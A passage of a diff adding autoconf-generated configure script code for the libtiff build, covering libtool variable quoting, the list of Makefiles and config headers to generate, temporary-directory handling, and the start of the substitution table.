+AR='`$ECHO "X$AR" | $Xsed -e "$delay_single_quote_subst"`'
+AR_FLAGS='`$ECHO "X$AR_FLAGS" | $Xsed -e "$delay_single_quote_subst"`'
+STRIP='`$ECHO "X$STRIP" | $Xsed -e "$delay_single_quote_subst"`'
+RANLIB='`$ECHO "X$RANLIB" | $Xsed -e "$delay_single_quote_subst"`'
+old_postinstall_cmds='`$ECHO "X$old_postinstall_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+old_postuninstall_cmds='`$ECHO "X$old_postuninstall_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+old_archive_cmds='`$ECHO "X$old_archive_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+CC='`$ECHO "X$CC" | $Xsed -e "$delay_single_quote_subst"`'
+CFLAGS='`$ECHO "X$CFLAGS" | $Xsed -e "$delay_single_quote_subst"`'
+compiler='`$ECHO "X$compiler" | $Xsed -e "$delay_single_quote_subst"`'
+GCC='`$ECHO "X$GCC" | $Xsed -e "$delay_single_quote_subst"`'
+lt_cv_sys_global_symbol_pipe='`$ECHO "X$lt_cv_sys_global_symbol_pipe" | $Xsed -e "$delay_single_quote_subst"`'
+lt_cv_sys_global_symbol_to_cdecl='`$ECHO "X$lt_cv_sys_global_symbol_to_cdecl" | $Xsed -e "$delay_single_quote_subst"`'
+lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "X$lt_cv_sys_global_symbol_to_c_name_address" | $Xsed -e "$delay_single_quote_subst"`'
+objdir='`$ECHO "X$objdir" | $Xsed -e "$delay_single_quote_subst"`'
+SHELL='`$ECHO "X$SHELL" | $Xsed -e "$delay_single_quote_subst"`'
+ECHO='`$ECHO "X$ECHO" | $Xsed -e "$delay_single_quote_subst"`'
+MAGIC_CMD='`$ECHO "X$MAGIC_CMD" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_no_builtin_flag='`$ECHO "X$lt_prog_compiler_no_builtin_flag" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_wl='`$ECHO "X$lt_prog_compiler_wl" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_pic='`$ECHO "X$lt_prog_compiler_pic" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_static='`$ECHO "X$lt_prog_compiler_static" | $Xsed -e "$delay_single_quote_subst"`'
+lt_cv_prog_compiler_c_o='`$ECHO "X$lt_cv_prog_compiler_c_o" | $Xsed -e "$delay_single_quote_subst"`'
+need_locks='`$ECHO "X$need_locks" | $Xsed -e "$delay_single_quote_subst"`'
+libext='`$ECHO "X$libext" | $Xsed -e "$delay_single_quote_subst"`'
+shrext_cmds='`$ECHO "X$shrext_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+extract_expsyms_cmds='`$ECHO "X$extract_expsyms_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+archive_cmds_need_lc='`$ECHO "X$archive_cmds_need_lc" | $Xsed -e "$delay_single_quote_subst"`'
+enable_shared_with_static_runtimes='`$ECHO "X$enable_shared_with_static_runtimes" | $Xsed -e "$delay_single_quote_subst"`'
+export_dynamic_flag_spec='`$ECHO "X$export_dynamic_flag_spec" | $Xsed -e "$delay_single_quote_subst"`'
+whole_archive_flag_spec='`$ECHO "X$whole_archive_flag_spec" | $Xsed -e "$delay_single_quote_subst"`'
+old_archive_from_new_cmds='`$ECHO "X$old_archive_from_new_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+old_archive_from_expsyms_cmds='`$ECHO "X$old_archive_from_expsyms_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+archive_cmds='`$ECHO "X$archive_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+archive_expsym_cmds='`$ECHO "X$archive_expsym_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+module_cmds='`$ECHO "X$module_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+module_expsym_cmds='`$ECHO "X$module_expsym_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+with_gnu_ld='`$ECHO "X$with_gnu_ld" | $Xsed -e "$delay_single_quote_subst"`'
+allow_undefined_flag='`$ECHO "X$allow_undefined_flag" | $Xsed -e "$delay_single_quote_subst"`'
+no_undefined_flag='`$ECHO "X$no_undefined_flag" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_libdir_flag_spec='`$ECHO "X$hardcode_libdir_flag_spec" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_libdir_flag_spec_ld='`$ECHO "X$hardcode_libdir_flag_spec_ld" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_libdir_separator='`$ECHO "X$hardcode_libdir_separator" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_direct='`$ECHO "X$hardcode_direct" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_minus_L='`$ECHO "X$hardcode_minus_L" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_shlibpath_var='`$ECHO "X$hardcode_shlibpath_var" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_automatic='`$ECHO "X$hardcode_automatic" | $Xsed -e "$delay_single_quote_subst"`'
+inherit_rpath='`$ECHO "X$inherit_rpath" | $Xsed -e "$delay_single_quote_subst"`'
+link_all_deplibs='`$ECHO "X$link_all_deplibs" | $Xsed -e "$delay_single_quote_subst"`'
+fix_srcfile_path='`$ECHO "X$fix_srcfile_path" | $Xsed -e "$delay_single_quote_subst"`'
+always_export_symbols='`$ECHO "X$always_export_symbols" | $Xsed -e "$delay_single_quote_subst"`'
+export_symbols_cmds='`$ECHO "X$export_symbols_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+exclude_expsyms='`$ECHO "X$exclude_expsyms" | $Xsed -e "$delay_single_quote_subst"`'
+include_expsyms='`$ECHO "X$include_expsyms" | $Xsed -e "$delay_single_quote_subst"`'
+prelink_cmds='`$ECHO "X$prelink_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+file_list_spec='`$ECHO "X$file_list_spec" | $Xsed -e "$delay_single_quote_subst"`'
+variables_saved_for_relink='`$ECHO "X$variables_saved_for_relink" | $Xsed -e "$delay_single_quote_subst"`'
+need_lib_prefix='`$ECHO "X$need_lib_prefix" | $Xsed -e "$delay_single_quote_subst"`'
+need_version='`$ECHO "X$need_version" | $Xsed -e "$delay_single_quote_subst"`'
+version_type='`$ECHO "X$version_type" | $Xsed -e "$delay_single_quote_subst"`'
+runpath_var='`$ECHO "X$runpath_var" | $Xsed -e "$delay_single_quote_subst"`'
+shlibpath_var='`$ECHO "X$shlibpath_var" | $Xsed -e "$delay_single_quote_subst"`'
+shlibpath_overrides_runpath='`$ECHO "X$shlibpath_overrides_runpath" | $Xsed -e "$delay_single_quote_subst"`'
+libname_spec='`$ECHO "X$libname_spec" | $Xsed -e "$delay_single_quote_subst"`'
+library_names_spec='`$ECHO "X$library_names_spec" | $Xsed -e "$delay_single_quote_subst"`'
+soname_spec='`$ECHO "X$soname_spec" | $Xsed -e "$delay_single_quote_subst"`'
+postinstall_cmds='`$ECHO "X$postinstall_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+postuninstall_cmds='`$ECHO "X$postuninstall_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+finish_cmds='`$ECHO "X$finish_cmds" | $Xsed -e "$delay_single_quote_subst"`'
+finish_eval='`$ECHO "X$finish_eval" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_into_libs='`$ECHO "X$hardcode_into_libs" | $Xsed -e "$delay_single_quote_subst"`'
+sys_lib_search_path_spec='`$ECHO "X$sys_lib_search_path_spec" | $Xsed -e "$delay_single_quote_subst"`'
+sys_lib_dlsearch_path_spec='`$ECHO "X$sys_lib_dlsearch_path_spec" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_action='`$ECHO "X$hardcode_action" | $Xsed -e "$delay_single_quote_subst"`'
+enable_dlopen='`$ECHO "X$enable_dlopen" | $Xsed -e "$delay_single_quote_subst"`'
+enable_dlopen_self='`$ECHO "X$enable_dlopen_self" | $Xsed -e "$delay_single_quote_subst"`'
+enable_dlopen_self_static='`$ECHO "X$enable_dlopen_self_static" | $Xsed -e "$delay_single_quote_subst"`'
+old_striplib='`$ECHO "X$old_striplib" | $Xsed -e "$delay_single_quote_subst"`'
+striplib='`$ECHO "X$striplib" | $Xsed -e "$delay_single_quote_subst"`'
+AS='`$ECHO "X$AS" | $Xsed -e "$delay_single_quote_subst"`'
+DLLTOOL='`$ECHO "X$DLLTOOL" | $Xsed -e "$delay_single_quote_subst"`'
+OBJDUMP='`$ECHO "X$OBJDUMP" | $Xsed -e "$delay_single_quote_subst"`'
+predep_objects='`$ECHO "X$predep_objects" | $Xsed -e "$delay_single_quote_subst"`'
+postdep_objects='`$ECHO "X$postdep_objects" | $Xsed -e "$delay_single_quote_subst"`'
+predeps='`$ECHO "X$predeps" | $Xsed -e "$delay_single_quote_subst"`'
+postdeps='`$ECHO "X$postdeps" | $Xsed -e "$delay_single_quote_subst"`'
+compiler_lib_search_path='`$ECHO "X$compiler_lib_search_path" | $Xsed -e "$delay_single_quote_subst"`'
+LD_CXX='`$ECHO "X$LD_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+old_archive_cmds_CXX='`$ECHO "X$old_archive_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+compiler_CXX='`$ECHO "X$compiler_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+GCC_CXX='`$ECHO "X$GCC_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "X$lt_prog_compiler_no_builtin_flag_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_wl_CXX='`$ECHO "X$lt_prog_compiler_wl_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_pic_CXX='`$ECHO "X$lt_prog_compiler_pic_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+lt_prog_compiler_static_CXX='`$ECHO "X$lt_prog_compiler_static_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+lt_cv_prog_compiler_c_o_CXX='`$ECHO "X$lt_cv_prog_compiler_c_o_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+archive_cmds_need_lc_CXX='`$ECHO "X$archive_cmds_need_lc_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+enable_shared_with_static_runtimes_CXX='`$ECHO "X$enable_shared_with_static_runtimes_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+export_dynamic_flag_spec_CXX='`$ECHO "X$export_dynamic_flag_spec_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+whole_archive_flag_spec_CXX='`$ECHO "X$whole_archive_flag_spec_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+old_archive_from_new_cmds_CXX='`$ECHO "X$old_archive_from_new_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+old_archive_from_expsyms_cmds_CXX='`$ECHO "X$old_archive_from_expsyms_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+archive_cmds_CXX='`$ECHO "X$archive_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+archive_expsym_cmds_CXX='`$ECHO "X$archive_expsym_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+module_cmds_CXX='`$ECHO "X$module_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+module_expsym_cmds_CXX='`$ECHO "X$module_expsym_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+with_gnu_ld_CXX='`$ECHO "X$with_gnu_ld_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+allow_undefined_flag_CXX='`$ECHO "X$allow_undefined_flag_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+no_undefined_flag_CXX='`$ECHO "X$no_undefined_flag_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_libdir_flag_spec_CXX='`$ECHO "X$hardcode_libdir_flag_spec_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_libdir_flag_spec_ld_CXX='`$ECHO "X$hardcode_libdir_flag_spec_ld_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_libdir_separator_CXX='`$ECHO "X$hardcode_libdir_separator_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_direct_CXX='`$ECHO "X$hardcode_direct_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_minus_L_CXX='`$ECHO "X$hardcode_minus_L_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_shlibpath_var_CXX='`$ECHO "X$hardcode_shlibpath_var_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_automatic_CXX='`$ECHO "X$hardcode_automatic_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+inherit_rpath_CXX='`$ECHO "X$inherit_rpath_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+link_all_deplibs_CXX='`$ECHO "X$link_all_deplibs_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+fix_srcfile_path_CXX='`$ECHO "X$fix_srcfile_path_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+always_export_symbols_CXX='`$ECHO "X$always_export_symbols_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+export_symbols_cmds_CXX='`$ECHO "X$export_symbols_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+exclude_expsyms_CXX='`$ECHO "X$exclude_expsyms_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+include_expsyms_CXX='`$ECHO "X$include_expsyms_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+prelink_cmds_CXX='`$ECHO "X$prelink_cmds_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+file_list_spec_CXX='`$ECHO "X$file_list_spec_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+hardcode_action_CXX='`$ECHO "X$hardcode_action_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+predep_objects_CXX='`$ECHO "X$predep_objects_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+postdep_objects_CXX='`$ECHO "X$postdep_objects_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+predeps_CXX='`$ECHO "X$predeps_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+postdeps_CXX='`$ECHO "X$postdeps_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+compiler_lib_search_path_CXX='`$ECHO "X$compiler_lib_search_path_CXX" | $Xsed -e "$delay_single_quote_subst"`'
+
+LTCC='$LTCC'
+LTCFLAGS='$LTCFLAGS'
+compiler='$compiler_DEFAULT'
+
+# Quote evaled strings.
+for var in SED \
+GREP \
+EGREP \
+FGREP \
+LD \
+NM \
+LN_S \
+reload_flag \
+deplibs_check_method \
+file_magic_cmd \
+AR \
+AR_FLAGS \
+STRIP \
+RANLIB \
+CC \
+CFLAGS \
+compiler \
+lt_cv_sys_global_symbol_pipe \
+lt_cv_sys_global_symbol_to_cdecl \
+lt_cv_sys_global_symbol_to_c_name_address \
+SHELL \
+ECHO \
+lt_prog_compiler_no_builtin_flag \
+lt_prog_compiler_wl \
+lt_prog_compiler_pic \
+lt_prog_compiler_static \
+lt_cv_prog_compiler_c_o \
+need_locks \
+shrext_cmds \
+export_dynamic_flag_spec \
+whole_archive_flag_spec \
+with_gnu_ld \
+allow_undefined_flag \
+no_undefined_flag \
+hardcode_libdir_flag_spec \
+hardcode_libdir_flag_spec_ld \
+hardcode_libdir_separator \
+fix_srcfile_path \
+exclude_expsyms \
+include_expsyms \
+file_list_spec \
+variables_saved_for_relink \
+libname_spec \
+library_names_spec \
+soname_spec \
+finish_eval \
+old_striplib \
+striplib \
+predep_objects \
+postdep_objects \
+predeps \
+postdeps \
+compiler_lib_search_path \
+LD_CXX \
+compiler_CXX \
+lt_prog_compiler_no_builtin_flag_CXX \
+lt_prog_compiler_wl_CXX \
+lt_prog_compiler_pic_CXX \
+lt_prog_compiler_static_CXX \
+lt_cv_prog_compiler_c_o_CXX \
+export_dynamic_flag_spec_CXX \
+whole_archive_flag_spec_CXX \
+with_gnu_ld_CXX \
+allow_undefined_flag_CXX \
+no_undefined_flag_CXX \
+hardcode_libdir_flag_spec_CXX \
+hardcode_libdir_flag_spec_ld_CXX \
+hardcode_libdir_separator_CXX \
+fix_srcfile_path_CXX \
+exclude_expsyms_CXX \
+include_expsyms_CXX \
+file_list_spec_CXX \
+predep_objects_CXX \
+postdep_objects_CXX \
+predeps_CXX \
+postdeps_CXX \
+compiler_lib_search_path_CXX; do
+    case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in
+    *[\\\\\\\`\\"\\\$]*)
+      eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$sed_quote_subst\\"\\\`\\\\\\""
+      ;;
+    *)
+      eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\""
+      ;;
+    esac
+done
+
+# Double-quote double-evaled strings.
+for var in reload_cmds \
+old_postinstall_cmds \
+old_postuninstall_cmds \
+old_archive_cmds \
+extract_expsyms_cmds \
+old_archive_from_new_cmds \
+old_archive_from_expsyms_cmds \
+archive_cmds \
+archive_expsym_cmds \
+module_cmds \
+module_expsym_cmds \
+export_symbols_cmds \
+prelink_cmds \
+postinstall_cmds \
+postuninstall_cmds \
+finish_cmds \
+sys_lib_search_path_spec \
+sys_lib_dlsearch_path_spec \
+old_archive_cmds_CXX \
+old_archive_from_new_cmds_CXX \
+old_archive_from_expsyms_cmds_CXX \
+archive_cmds_CXX \
+archive_expsym_cmds_CXX \
+module_cmds_CXX \
+module_expsym_cmds_CXX \
+export_symbols_cmds_CXX \
+prelink_cmds_CXX; do
+    case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in
+    *[\\\\\\\`\\"\\\$]*)
+      eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
+      ;;
+    *)
+      eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\""
+      ;;
+    esac
+done
+
+# Fix-up fallback echo if it was mangled by the above quoting rules.
+case \$lt_ECHO in
+*'\\\$0 --fallback-echo"')  lt_ECHO=\`\$ECHO "X\$lt_ECHO" | \$Xsed -e 's/\\\\\\\\\\\\\\\$0 --fallback-echo"\$/\$0 --fallback-echo"/'\`
+  ;;
+esac
+
+ac_aux_dir='$ac_aux_dir'
+xsi_shell='$xsi_shell'
+
+# See if we are running on zsh, and set the options which allow our
+# commands through without removal of \ escapes INIT.
+if test -n "\${ZSH_VERSION+set}" ; then
+   setopt NO_GLOB_SUBST
+fi
+
+
+    PACKAGE='$PACKAGE'
+    VERSION='$VERSION'
+    TIMESTAMP='$TIMESTAMP'
+    RM='$RM'
+    ofile='$ofile'
+
+
+
+
+
+
+_ACEOF
+
+
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+for ac_config_target in $ac_config_targets
+do
+  case "$ac_config_target" in
+  # Handling of arguments.
+  "Makefile" ) CONFIG_FILES="$CONFIG_FILES Makefile" ;;
+  "contrib/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/Makefile" ;;
+  "contrib/acorn/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/acorn/Makefile" ;;
+  "contrib/addtiffo/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/addtiffo/Makefile" ;;
+  "contrib/dbs/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/dbs/Makefile" ;;
+  "contrib/dbs/xtiff/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/dbs/xtiff/Makefile" ;;
+  "contrib/iptcutil/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/iptcutil/Makefile" ;;
+  "contrib/mac-cw/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/mac-cw/Makefile" ;;
+  "contrib/mac-mpw/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/mac-mpw/Makefile" ;;
+  "contrib/mfs/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/mfs/Makefile" ;;
+  "contrib/ojpeg/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/ojpeg/Makefile" ;;
+  "contrib/pds/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/pds/Makefile" ;;
+  "contrib/ras/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/ras/Makefile" ;;
+  "contrib/stream/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/stream/Makefile" ;;
+  "contrib/tags/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/tags/Makefile" ;;
+  "contrib/win_dib/Makefile" ) CONFIG_FILES="$CONFIG_FILES contrib/win_dib/Makefile" ;;
+  "html/Makefile" ) CONFIG_FILES="$CONFIG_FILES html/Makefile" ;;
+  "html/images/Makefile" ) CONFIG_FILES="$CONFIG_FILES html/images/Makefile" ;;
+  "html/man/Makefile" ) CONFIG_FILES="$CONFIG_FILES html/man/Makefile" ;;
+  "libtiff/Makefile" ) CONFIG_FILES="$CONFIG_FILES libtiff/Makefile" ;;
+  "man/Makefile" ) CONFIG_FILES="$CONFIG_FILES man/Makefile" ;;
+  "port/Makefile" ) CONFIG_FILES="$CONFIG_FILES port/Makefile" ;;
+  "test/Makefile" ) CONFIG_FILES="$CONFIG_FILES test/Makefile" ;;
+  "tools/Makefile" ) CONFIG_FILES="$CONFIG_FILES tools/Makefile" ;;
+  "depfiles" ) CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
+  "libtool" ) CONFIG_COMMANDS="$CONFIG_COMMANDS libtool" ;;
+  "libtiff/tif_config.h" ) CONFIG_HEADERS="$CONFIG_HEADERS libtiff/tif_config.h" ;;
+  "libtiff/tiffconf.h" ) CONFIG_HEADERS="$CONFIG_HEADERS libtiff/tiffconf.h" ;;
+  *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5
+echo "$as_me: error: invalid argument: $ac_config_target" >&2;}
+   { (exit 1); exit 1; }; };;
+  esac
+done
+
+# If the user did not use the arguments to specify the items to instantiate,
+# then the envvar interface is used.  Set only those that are not.
+# We use the long form for the default assignment because of an extremely
+# bizarre bug on SunOS 4.1.3.
+if $ac_need_defaults; then
+  test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files
+  test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers
+  test "${CONFIG_COMMANDS+set}" = set || CONFIG_COMMANDS=$config_commands
+fi
+
+# Have a temporary directory for convenience.  Make it in the build tree
+# simply because there is no reason to put it here, and in addition,
+# creating and moving files from /tmp can sometimes cause problems.
+# Create a temporary directory, and hook for its removal unless debugging.
+$debug ||
+{
+  trap 'exit_status=$?; rm -rf $tmp && exit $exit_status' 0
+  trap '{ (exit 1); exit 1; }' 1 2 13 15
+}
+
+# Create a (secure) tmp directory for tmp files.
+
+{
+  tmp=`(umask 077 && mktemp -d -q "./confstatXXXXXX") 2>/dev/null` &&
+  test -n "$tmp" && test -d "$tmp"
+}  ||
+{
+  tmp=./confstat$$-$RANDOM
+  (umask 077 && mkdir $tmp)
+} ||
+{
+   echo "$me: cannot create a temporary directory in ." >&2
+   { (exit 1); exit 1; }
+}
+
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+
+#
+# CONFIG_FILES section.
+#
+
+# No need to generate the scripts if there are no CONFIG_FILES.
+# This happens for instance when ./config.status config.h
+if test -n "\$CONFIG_FILES"; then
+  # Protect against being on the right side of a sed subst in config.status.
+  sed 's/,@/@@/; s/@,/@@/; s/,;t t\$/@;t t/; /@;t t\$/s/[\\\\&,]/\\\\&/g;
+   s/@@/,@/; s/@@/@,/; s/@;t t\$/,;t t/' >\$tmp/subs.sed <<\\CEOF
+s,@SHELL@,$SHELL,;t t
+s,@PATH_SEPARATOR@,$PATH_SEPARATOR,;t t
+s,@PACKAGE_NAME@,$PACKAGE_NAME,;t t
+s,@PACKAGE_TARNAME@,$PACKAGE_TARNAME,;t t
+s,@PACKAGE_VERSION@,$PACKAGE_VERSION,;t t
+s,@PACKAGE_STRING@,$PACKAGE_STRING,;t t
+s,@PACKAGE_BUGREPORT@,$PACKAGE_BUGREPORT,;t t
+s,@exec_prefix@,$exec_prefix,;t t
+s,@prefix@,$prefix,;t t
+s,@program_transform_name@,$program_transform_name,;t t
+s,@bindir@,$bindir,;t t
+s,@sbindir@,$sbindir,;t t
+s,@libexecdir@,$libexecdir,;t t
+s,@datadir@,$datadir,;t t
+s,@sysconfdir@,$sysconfdir,;t t
+s,@sharedstatedir@,$sharedstatedir,;t t
+s,@localstatedir@,$localstatedir,;t t
+s,@libdir@,$libdir,;t t
+s,@includedir@,$includedir,;t t
+s,@oldincludedir@,$oldincludedir,;t t
+s,@infodir@,$infodir,;t t
+s,@mandir@,$mandir,;t t
+s,@build_alias@,$build_alias,;t t
+s,@host_alias@,$host_alias,;t t
+s,@target_alias@,$target_alias,;t t
+s,@DEFS@,$DEFS,;t t
+s,@ECHO_C@,$ECHO_C,;t t
+s,@ECHO_N@,$ECHO_N,;t t
+s,@ECHO_T@,$ECHO_T,;t t
+s,@LIBS@,$LIBS,;t t
+s,@build@,$build,;t t
+s,@build_cpu@,$build_cpu,;t t
+s,@build_vendor@,$build_vendor,;t t
+s,@build_os@,$build_os,;t t
+s,@host@,$host,;t t
+s,@host_cpu@,$host_cpu,;t t
+s,@host_vendor@,$host_vendor,;t t
+s,@host_os@,$host_os,;t t
+s,@target@,$target,;t t
+s,@target_cpu@,$target_cpu,;t t
+s,@target_vendor@,$target_vendor,;t t
+s,@target_os@,$target_os,;t t
+s,@INSTALL_PROGRAM@,$INSTALL_PROGRAM,;t t
+s,@INSTALL_SCRIPT@,$INSTALL_SCRIPT,;t t
+s,@INSTALL_DATA@,$INSTALL_DATA,;t t
+s,@CYGPATH_W@,$CYGPATH_W,;t t
+s,@PACKAGE@,$PACKAGE,;t t
+s,@VERSION@,$VERSION,;t t
+s,@ACLOCAL@,$ACLOCAL,;t t
+s,@AUTOCONF@,$AUTOCONF,;t t
+s,@AUTOMAKE@,$AUTOMAKE,;t t
+s,@AUTOHEADER@,$AUTOHEADER,;t t
+s,@MAKEINFO@,$MAKEINFO,;t t
+s,@install_sh@,$install_sh,;t t
+s,@STRIP@,$STRIP,;t t
+s,@ac_ct_STRIP@,$ac_ct_STRIP,;t t
+s,@INSTALL_STRIP_PROGRAM@,$INSTALL_STRIP_PROGRAM,;t t
+s,@mkdir_p@,$mkdir_p,;t t
+s,@AWK@,$AWK,;t t
+s,@SET_MAKE@,$SET_MAKE,;t t
+s,@am__leading_dot@,$am__leading_dot,;t t
+s,@AMTAR@,$AMTAR,;t t
+s,@am__tar@,$am__tar,;t t
+s,@am__untar@,$am__untar,;t t
+s,@MAINTAINER_MODE_TRUE@,$MAINTAINER_MODE_TRUE,;t t
+s,@MAINTAINER_MODE_FALSE@,$MAINTAINER_MODE_FALSE,;t t
+s,@MAINT@,$MAINT,;t t
+s,@LIBTIFF_MAJOR_VERSION@,$LIBTIFF_MAJOR_VERSION,;t t
+s,@LIBTIFF_MINOR_VERSION@,$LIBTIFF_MINOR_VERSION,;t t
+s,@LIBTIFF_MICRO_VERSION@,$LIBTIFF_MICRO_VERSION,;t t
+s,@LIBTIFF_ALPHA_VERSION@,$LIBTIFF_ALPHA_VERSION,;t t
+s,@LIBTIFF_VERSION@,$LIBTIFF_VERSION,;t t
+s,@LIBTIFF_VERSION_INFO@,$LIBTIFF_VERSION_INFO,;t t
+s,@LIBTIFF_RELEASE_DATE@,$LIBTIFF_RELEASE_DATE,;t t
+s,@CC@,$CC,;t t
+s,@CFLAGS@,$CFLAGS,;t t
+s,@LDFLAGS@,$LDFLAGS,;t t
+s,@CPPFLAGS@,$CPPFLAGS,;t t
+s,@ac_ct_CC@,$ac_ct_CC,;t t
+s,@EXEEXT@,$EXEEXT,;t t
+s,@OBJEXT@,$OBJEXT,;t t
+s,@DEPDIR@,$DEPDIR,;t t
+s,@am__include@,$am__include,;t t
+s,@am__quote@,$am__quote,;t t
+s,@AMDEP_TRUE@,$AMDEP_TRUE,;t t
+s,@AMDEP_FALSE@,$AMDEP_FALSE,;t t
+s,@AMDEPBACKSLASH@,$AMDEPBACKSLASH,;t t
+s,@CCDEPMODE@,$CCDEPMODE,;t t
+s,@am__fastdepCC_TRUE@,$am__fastdepCC_TRUE,;t t
+s,@am__fastdepCC_FALSE@,$am__fastdepCC_FALSE,;t t
+s,@LN_S@,$LN_S,;t t
+s,@LIBTOOL@,$LIBTOOL,;t t
+s,@SED@,$SED,;t t
+s,@EGREP@,$EGREP,;t t
+s,@FGREP@,$FGREP,;t t
+s,@GREP@,$GREP,;t t
+s,@LD@,$LD,;t t
+s,@DUMPBIN@,$DUMPBIN,;t t
+s,@ac_ct_DUMPBIN@,$ac_ct_DUMPBIN,;t t
+s,@NM@,$NM,;t t
+s,@AR@,$AR,;t t
+s,@ac_ct_AR@,$ac_ct_AR,;t t
+s,@RANLIB@,$RANLIB,;t t
+s,@ac_ct_RANLIB@,$ac_ct_RANLIB,;t t
+s,@lt_ECHO@,$lt_ECHO,;t t
+s,@CPP@,$CPP,;t t
+s,@AS@,$AS,;t t
+s,@ac_ct_AS@,$ac_ct_AS,;t t
+s,@DLLTOOL@,$DLLTOOL,;t t
+s,@ac_ct_DLLTOOL@,$ac_ct_DLLTOOL,;t t
+s,@OBJDUMP@,$OBJDUMP,;t t
+s,@ac_ct_OBJDUMP@,$ac_ct_OBJDUMP,;t t
+s,@LIBOBJS@,$LIBOBJS,;t t
